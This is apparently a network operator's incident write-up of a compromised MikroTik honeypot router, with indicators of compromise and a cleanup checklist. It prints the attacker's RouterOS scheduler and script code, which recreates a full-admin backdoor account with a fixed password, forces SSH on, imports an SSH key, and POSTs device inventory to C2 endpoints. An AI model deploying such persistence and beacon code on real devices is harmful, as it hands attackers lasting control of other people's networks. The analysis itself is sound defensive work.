What it looks like when an intruder tries to make your own router work against you.
A note before we start: Anything in this post that could identify my network, my organization, or my router’s real hostname and IP address has been redacted or made generic. The attacker’s own infrastructure, such as IP addresses, ports, usernames, passwords, and file names, is left intact because that’s exactly the kind of information other RouterOS admins need to check their own devices.
Background
A MikroTik router in a honeypot network of mine was recently compromised. The intruders set up a fairly elaborate persistence and remote-access scheme, but they never disconnected my admin session I was logged in with. That oversight meant I could watch what happened after the intrusion was already done without much effort on my part. In this post, I will go over the scheduled tasks, the scripts, the new users, the tunnels, all still sitting there in `/system scheduler`, `/system script`, and `/ip firewall filter` .
The likely way in
The router was running RouterOS 7.20beta7 (testing branch). This puts the device inside the vulnerable range for a chain of RouterOS vulnerabilities publicly disclosed in September 2026 and nicknamed “MikroTrick”:
| CVE | CVSS | Issue |
|---|---|---|
| CVE-2026-67276 | 9.2 | SSH authentication bypass — RouterOS validated only the public modulus of a client’s RSA key instead of the full key, letting an attacker forge SSH authentication without ever holding a valid private key |
| CVE-2026-86060 | 9.2 | Privilege escalation via malformed SSH usernames (starting with disallowed characters), used to grant full administrative rights |
| CVE-2026-67277 | 8.8 | Unauthenticated access to the bandwidth-test service, with potential kernel memory exposure |
MikroTrick affects RouterOS 6.0.0–6.49.20, 7.0.0–7.24.1, and development builds before 7.25beta3 — which includes my 7.20beta7. According to public reports, exploitation in the wild has been observed since at least September 2, 2026, against internet-exposed SSH services, with researchers scanning over 120,000 vulnerable, SSH-exposed MikroTik devices. On a side note, MikroTik did a pretty good job of mitigating this with a quick firmware release. However, you should not have these ports exposed to the Internet to begin with.
I can’t prove with certainty that MikroTrick was the actual issue. But several details support this:
– The vulnerable firmware.
– An almost obsessive insistence, repeated across *four separate scheduled jobs*, on keeping SSH enabled on port 22 no matter what an admin does to it.
– A privileged backdoor account created within roughly a minute of the intrusion starting.
The public IOCs disclosed for MikroTrick so far include attacker IPs 82.192.72.4 and 103.102.31.18, plus a backdoor account named ops. Those did not match this router. I did find ops on another compromised router, though, using different infrastructure and account names.
That suggests either a different operator running their own toolkit against the same vulnerability. This could also suggest ops is a temporary user until the scripts and files are installed.
Timeline
Everything below happened within about 10 hours on a single day, with a second wave of scripts deployed roughly 10 hours after the first
| Time (device local) | Event |
|---|---|
| 01:17:52 | First scheduler (netupd) installed — recreates a backdoor user if it’s ever missing |
| 01:18:30 | Two more schedulers installed: one that force-recreates/re-enables the backdoor account and SSH every hour, and one that pulls and re-imports a remote config script every 30 minutes |
| 01:18:30 | A “reporting” scheduler installed, running an inventory-beacon script every 5 minutes |
| (shortly after) | OpenVPN dial-out client (“mesh” interface), inbound OpenVPN service, PPTP tunnel, and SOCKS proxy firewall rules configured |
| 11:33:07 | A second-generation persistence script (v4) deployed via its own scheduler, alongside the original |
(undated / 1970-01-01, i.e. “run since boot”) | A third generation (v5) added later, this time with a fallback second C2 host if the primary is unreachable |
I am not sure why there is a lag in time between the first login and the scripts being installed. It’s almost like it’s being handed off to someone to do the actual work. Lets get into what was installed.
1. A self-healing backdoor account
The intruders created a local RouterOS user, `svcnet`, with full administrative privileges (`group=full`) and a static password. The account itself isn’t anything new, it’s how hard they worked to make it un-killable:
```
/system scheduler
add interval=1h name=netupd on-event=":if ([:len [/user find where name=svcnet]] = 0) do={/user add name=svcnet password=RexPwn3d2026! group=full}" ...
add interval=1h name=cfg-r on-event="/user set svcnet group=full disabled=no; /user set svcnet password=RexPwn3d2026!; /ip service set ssh disabled=no port=22" ...
add interval=30s name=cfg-res on-event=persist-v2 ...
add name=wan-boot on-event=wan-check ...
add interval=1m name=wan-check on-event=wan-check ...
```
Between these jobs, the account gets checked and recreated every 30 seconds to 1 hour, on every reboot, and on every WAN state change. Delete the user, and it’s back within 30 seconds. Change its password, and it’s reset within the hour. Disable SSH, and it’s re-enabled within a minute.
The `wan-check` script goes a step further:
```
/system script
add ... name=wan-check owner=svcnet ... source=":if ([:len [/user find where name=svcnet]] = 0) do={ /user add name=svcnet password=RexPwn3d2026! group=full }; :do { /user set svcnet group=full disabled=no } on-error={}; /ip service set ssh disabled=no port=22; :do { /ip cloud set ddns-enabled=yes } on-error={}; :if ([:len [/file find name=mt_pub.key]] > 0) do={ :do { /user ssh-keys remove [find where user=svcnet and key-owner~\"mtops\"] } on-error={}; :do { /user ssh-keys import public-key-file=mt_pub.key user=svcnet } on-error={} }"
```
Beyond re-enabling SSH and recreating `svcnet`, this script also does the following:
1. Turns on MikroTik Cloud DDNS (`/ip cloud set ddns-enabled=yes`), so the router self-registers a reachable hostname even if its WAN IP changes via DHCP. This means the attacker doesn’t have to re-scan for the device after an IP change.
2. Imports an SSH public key (from a file named `mt_pub.key`, tagged with the key-owner label `mtops`) onto the `svcnet` account. That gives the attacker passwordless, key-based SSH access that survives even a full password reset. You need to know to check `/user ssh-keys print` to find it.
The intruders also removed all of the local users except the admin account, whose password they changed, and added a second account, `cfgmarket`, used to authenticate the VPN tunnels described below. In my case, the specific admin session I was already logged into wasn’t invalidated, which is the only reason any of this analysis was possible. This is a very rare occurrence on most production networks.
2. Layered scheduled persistence and remote code execution
RouterOS’s scheduler was turned into a lightweight command-and-control (C2) client. Full list of what was installed:
| Scheduler | Interval | Purpose |
|---|---|---|
netupd | 1h | Recreate svcnet if missing |
cfg-r | 1h | Force-reset svcnet group/password, re-enable SSH |
cfg-u | 30m | Fetch persist_mt.rsc from C2 and /import it |
cfg-t | 5m | Run cfg-rpt (device inventory beacon) |
cfg-res | 30s | Run persist-v2 script |
cfg-v2 | 30m | Fetch persist_mt_v4.rsc from C2 and /import it |
wan-boot | on startup | Run wan-check |
wan-check | 1m | Run wan-check (account/SSH/key persistence, DDNS) |
health-check | 15m | Post a lightweight heartbeat beacon |
cfg-v5 | 30m | Fetch persist_mt_v5.rsc from primary C2, falling back to a second C2 host if unreachable, then /import it |
The `cfg-u` / `cfg-v2` / `cfg-v5` jobs are the important ones. Every 30 minutes, the router reaches out to an attacker-controlled web server, downloads a `.rsc` script, and executes it with full RouterOS permissions (`policy=…,password,sniff,sensitive,romon`). This is pretty sophisticated. Whatever the attacker puts at that URL next runs on your router within half an hour, no further access needed. The permissions granted to these jobs is a new level of sophistication I haven’t seen before. They turn on `sniff` (packet capture) and `romon` (MikroTik’s Layer-2 “Reflected MikroTik Network” protocol, which can hop across L2 segments outside normal IP routing), both of which are included, which is far more capability than a “keep a backdoor account alive” task should ever need.
The `v5` script tries a primary host, falls back to a second host on failure, and wraps each step in `on-error={}` so a failed fetch doesn’t throw a visible error or break the chain.
3. Taking inventory of the router
Two of the scripts exist purely to phone home with information about the device itself:
```
/system script
add ... name=cfg-rpt ... source="...:local body ($id . \"|\" . $model . \"|\" . $ver . \"|\" . $up . \"|\" . $cpu . \"|\" . $fmem . \"|\" . $tmem . \"|\" . $ips); /tool fetch url=\"http://:8098/report\" http-method=post http-data=$body keep-result=no"
add ... name=health-check ... source="...:local bd (\"kind=beacon|host=\" . [/system identity get name] . \"|ver=\" . [/system resource get version]); ... /tool fetch http-method=post http-data=$bd url=\"http://:8097/ingest\" ..."
```
`cfg-rpt` (run every 5 minutes via `cfg-t`) POSTs the router’s identity name, hardware model, RouterOS version, uptime, CPU load, free/total memory, and every IP address and interface configured on the box to a `/report` endpoint. `health-check` (every 15 minutes) sends a quick “I’m alive” beacon with just the hostname and version to a separate `/ingest` endpoint.
That’s three distinct services running on the same C2 host, on three different ports — one for pushing new scripts (`8080`), one for fine-grained inventory (`8098`), and one for basic liveness/heartbeat (`8097`).
4. Remote access: two VPNs, a legacy tunnel protocol, and a disguised interface
The router was configured as an OpenVPN client, dialing out to the attacker’s infrastructure over an interface named ‘mesh’ . I assume this name was chosen specifically so it would blend into a legitimate-looking interface list next to any real wireless/mesh interfaces.
```
Connect To:
Port: 1195, Protocol: udp
User: cfgmarket
Cipher: aes-256-cbc, Auth: sha1
Verify Server Certificate: no
TLS Version: any
```
Note `Verify Server Certificate: no’. The attacker’s own tunnel doesn’t validate the far end’s certificate, which is sloppy on their part but not something a victim can exploit. Maybe in version 6 they will fix this. I am joking.
Separately, the firewall configuration shows the router was also set up as an OpenVPN server/concentrator, accepting inbound connections on port 1194/tcp and routing traffic for two client subnets, `10.8.0.0/24` and `10.9.0.0/24`, with DNS (port 53, both tcp and udp) explicitly permitted from those subnets:
```
/ip firewall filter
add action=accept chain=forward comment=cfgmarket-ovpn-fw-10.8.0.0_24 src-address=10.8.0.0/24
add action=accept chain=input comment=ovpn-cfgmarket dst-port=1194 protocol=tcp
add action=accept chain=input comment=cfgmarket-ovpn-dns-10.8.0.0_24-udp dst-port=53 protocol=udp src-address=10.8.0.0/24
add action=accept chain=input comment=cfgmarket-ovpn-dns-10.8.0.0_24-tcp dst-port=53 protocol=tcp src-address=10.8.0.0/24
add action=accept chain=forward comment=cfgmarket-ovpn-fw-10.9.0.0_24 src-address=10.9.0.0/24
add action=accept chain=input comment=cfgmarket-ovpn-dns-10.9.0.0_24-udp dst-port=53 protocol=udp src-address=10.9.0.0/24
add action=accept chain=input comment=cfgmarket-ovpn-dns-10.9.0.0_24-tcp dst-port=53 protocol=tcp src-address=10.9.0.0/24
```
Two separate client subnets (`.8` and `.9`) suggest two generations of VPN client pools, or two distinct groups of downstream users being handed access through this one router. It could also be an in and an out. On top of that, a PPTP tunnel was also configured. This itself is a red flag regardless of how it was configured, since there’s little legitimate reason to configure PPTP on a router in 2026.
Finally, a SOCKS proxy port (1080/tcp) was opened for inbound traffic. This was re-added five separate times across the config (which suggests that the persistence scripts re-apply the same rules each time they run, without first checking whether the rule already exists. This is typical of scripted attacks.
You have an OpenVPN concentrator serving multiple client subnets, a SOCKS proxy, all under a consistent `cfgmarket` naming scheme, plus infrastructure built to inventory and heartbeat-monitor a fleet of devices. The router is being turned into an exit node (VPN exit or SOCKS proxy) to do stuff to others using your stuff.
5. Files left behind
The router’s file storage contained:
| File | Likely purpose |
|---|---|
mt_setup.rsc, mt_setup_v4.rsc | Locally-saved copies of the fetched persistence scripts (matches cfg-u/cfg-v2 destinations) |
persist_mt_v4.rsc, persist_mt_v5.rsc, pmt.rsc, pv4.rsc | Additional/older generations of the same persistence tooling |
cert_export_ovpnca.crt | An exported OpenVPN CA certificate, presumably tied to the VPN server configuration described above |
console-dump.txt | A captured console session (worth reviewing in full — this can contain command history revealing manual, hands-on-keyboard actions rather than scripted ones) |
autosupout.rif, autosupout.old.rif | Standard MikroTik diagnostic "supout" files — these can be legitimate/pre-existing, but check their timestamps and content; a supout file can leak your full configuration (including secrets) if the attacker generated and exfiltrated one |
skins/ directory | WebFig UI skin storage — worth diffing against a factory-default skin set, since a modified skin file is a known way to hide menu items from the web GUI |
The presence of *five* separate `.rsc` variants (`mt_setup`, `mt_setup_v4`, `persist_mt_v4`, `persist_mt_v5`, plus shorthand `pmt`/`pv4` copies) tells of scripts under active development. These have undergone changes at least 4-5 times.
Indicators of Compromise
If you administer MikroTik/RouterOS devices, it’s worth checking your own configuration for any of the following. However, you probably won’t get lucky enough to find this before it’s too late.
| Type | Value | Context |
|---|---|---|
| C2 IP (primary) | 64.44.141.220 | Script distribution (:8080), report ingest (:8098), heartbeat (:8097), OpenVPN dial-out target (:1195/udp) |
| C2 IP (fallback) | 23.95.217.226 | Secondary script host used by the v5 persistence generation |
| Backdoor username | svcnet | Full-privilege (group=full) local user, continuously recreated |
| Secondary username | cfgmarket | Used for VPN authentication; also present as a local account |
| Backdoor password | RexPwn3d2026! | Static password set/reset on svcnet by multiple scripts |
| SSH key tag | mtops | Label on an imported SSH public key (mt_pub.key) granting passwordless access |
| Interface name | mesh | Disguised name for the outbound OpenVPN client interface |
| Scheduler names | netupd, cfg-r, cfg-u, cfg-t, cfg-res, cfg-v2, cfg-v5, wan-boot, wan-check, health-check | All attacker-installed; none of these are stock RouterOS scheduler names |
| Script names | cfg-rpt, persist-v2, wan-check, health-check | All owned by svcnet |
| Files | mt_setup.rsc, mt_setup_v4.rsc, persist_mt_v4.rsc, persist_mt_v5.rsc, mt_v5.rsc, pmt.rsc, pv4.rsc, mt_pub.key, cert_export_ovpnca.crt | Check /file print for these |
| Firewall comment prefix | cfgmarket-*, ovpn-cfgmarket | Tags on inserted firewall rules |
| Ports | 1080/tcp (SOCKS, inbound), 1194/tcp (OpenVPN server, inbound), 1195/udp (OpenVPN client, outbound to C2), 8080/tcp, 8097/tcp, 8098/tcp (all C2), 22/tcp (forcibly re-enabled) | |
| VPN subnets | 10.8.0.0/24, 10.9.0.0/24 | OpenVPN client address pools referenced in firewall rules |
Attack Pieces and Parts
| Tactic | Technique | Evidence |
|---|---|---|
| Initial Access | T1190 (Exploit Public-Facing Application) / T1133 (External Remote Services) | Vulnerable RouterOS version + internet-facing SSH consistent with the MikroTrick disclosure |
| Persistence | T1136 (Create Account), T1098 (Account Manipulation) | svcnet / cfgmarket creation and continuous repair |
| Persistence | T1053.005-equivalent (Scheduled Task, RouterOS scheduler) | 10 scheduler entries |
| Persistence | T1556 (Modify Authentication Process) | SSH key import onto backdoor account |
| Defense Evasion | T1562.004 (Disable or Modify System Firewall) | New allow rules for proxy/VPN ports |
| Defense Evasion | Disguised naming (no clean ATT&CK ID) | Interface named mesh, scripts named to resemble legitimate config-management jobs |
| Command and Control | T1071.001 (Web Protocols), T1105 (Ingress Tool Transfer) | HTTP /tool fetch + /import cycle every 30 minutes |
| Command and Control | T1090 (Proxy) | SOCKS (1080) and OpenVPN concentrator for third-party egress |
| Command and Control | T1102-adjacent (Dynamic Resolution via provider DDNS) | /ip cloud set ddns-enabled=yes |
| Collection / Discovery | T1082 (System Information Discovery) exfiltrated via T1041 | cfg-rpt inventory beacon |
Fix it checklist
If any of the above looks familiar on your own gear and you still have access to it do the following:
1. Assume full compromise. Don’t just delete `svcnet`/`cfgmarket`. The scheduler will recreate them within 30 seconds to an hour. Remove the schedulers and scripts *first*, then the accounts, then rotate all the credentials on the device.
2. Remove anything in files you don’t recognize.
3. Check `/user ssh-keys print` for unexpected keys, not just `/user print` for unexpected accounts — a password reset alone won’t revoke key-based access.
4. Audit `/system scheduler print` and `/system script print`. Anything you didn’t create, remove.
5. Review `/ip firewall filter print` for rules you don’t recognize, especially duplicate/near-duplicate rules
6. Check `/interface ovpn-client`, `/interface pptp-client` (and server-side equivalents), and `/ppp secret` for tunnels and credentials you didn’t set up. Disable PPTP outright unless you have a specific reason to keep it.
7. Update RouterOS to a fixed release (7.25beta3+, 7.24.2+, 7.23.4+, or 6.49.21+ per the MikroTrick advisory) before doing anything else if your device is internet-exposed.
8. Take SSH, Winbox, and the API off the WAN interface entirely, or at minimum restrict them to an allow-list of trusted management IPs. A quick stop fix might be to change the SSH port away from 22. This won’t last long, though.
9. After cleanup, strongly consider a factory reset and rebuild from a known-good configuration.
10. Rotate any credentials that ever touched this device. RADIUS/TACACS secrets, VPN pre-shared keys, etc.
11. Export and archive the “dirty” configuration before you clean it up, exactly as I did here. It’s the only way to build a timeline or hand off useful evidence if you escalate to your ISP, MikroTik, or law enforcement. In all reality fix it and move on though.
Closing thoughts
Looking back over this configuration, it isn’t any single technique they used. None of it is especially novel. The novel part is how many backup plans they had. Four different mechanisms all independently re-enabling SSH, three different fetch-and-import jobs pulling three generations of the same script, a backdoor account checked and repaired on a 30-second cycle. This all was built for one thing. Surviving an admin who does notice something’s wrong. The only reason it didn’t work in my case is that they left one session logged in.
If you run RouterOS anywhere, simply make sure of two things.
1. Don’t expose your management plane to the Capital I Internet
2. Update your RouterOS when vulnerabilities are discovered.
—
*Sources on the MikroTrick vulnerability chain referenced above:*
– [CERT Polska: Critical vulnerabilities in MikroTik RouterOS are being actively exploited](https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/)
– [The Hacker News: Attackers Hijack MikroTik Routers Through Internet-Exposed SSH Without Authentication](https://thehackernews.com/2026/09/attackers-hijack-mikrotik-routers.html)
– [Help Net Security: Hackers exploit RouterOS flaws to hijack MikroTik devices without authentication](https://www.helpnetsecurity.com/2026/09/07/mikrotik-routeros-ssh-vulnerabilities-exploited/)
– [Security Online: MikroTrick PoC — RouterOS Admin Rights Exploited In Wild](https://securityonline.info/mikrotik-routeros-mikrotrick-cve-2026-67276/)
https://j2sw.com
https://startawisp.info
https://indycolo.net
#packetsdownrange #routethelight
Discover more from Justin Wilson (j2sw)
Subscribe to get the latest posts sent to your email.